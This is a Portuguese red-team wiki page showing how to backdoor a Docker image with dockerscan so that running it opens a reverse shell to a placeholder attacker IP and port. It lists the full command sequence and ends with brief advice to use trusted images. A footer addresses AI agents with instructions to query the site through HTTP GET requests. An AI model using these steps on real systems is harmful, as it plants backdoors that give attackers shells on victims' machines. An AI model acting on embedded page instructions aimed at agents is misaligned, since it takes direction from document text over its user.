# Backdooring docker container

## Apresentação

Podemos criar uma nova imagem da imagem alvo para implementar uma backdoor, para quando ela for executada nós tenhamos a capacidade de pegar uma reverse shell

## Backdoor

Para isso vamos utilizar a ferramenta [dockerscan](https://github.com/cr0hn/dockerscan), para o nosso exemplo eu vou estar utilizando a imagem do ubuntu.

```
# Baixar a imagem do ubuntu
docker pull ubuntu:latest

# Vamos salvar a imagem do ubuntu
docker save ubuntu:latest -o ubuntu-original

# Agora com o source da imagem vamos colocar o backdoor
dockerscan image modify trojanize ubuntu-original -l <ATTACKER_IP> -p <ATTACKER_PORT> -o ubuntu-backdoor

# Após gerar a imagem com o backdoor, vamos instalá-la 
docker load -i ubuntu-backdoor.tar

# Agora só rodar e ver a reverse shell chegar
docker run -it ubuntu:latest /bin/bash
```

{% hint style="info" %}
Ao parar de executar a imagem a conexão irá cair

Para manter a conexão ao executar a imagem será necessário a opção **-i** para pegar uma shell interativa, se rodar sem a opção ele simplesmente irá conectar e desconectar logo após
{% endhint %}

<figure><img src="/files/DJBCYhsMf3XPakUiZWUU" alt=""><figcaption><p>RevShell</p></figcaption></figure>

## Conclusão

Ao baixar imagens para rodar em seu computador, certifique-se que elas são de autores confiavéis. Olhe como proteger seu ambiente de imagens não confiáveis [**aqui**](/redteam/docker/defenses/docker-content-trust.md)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://vida03.gitbook.io/redteam/docker/backdooring-docker-container.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
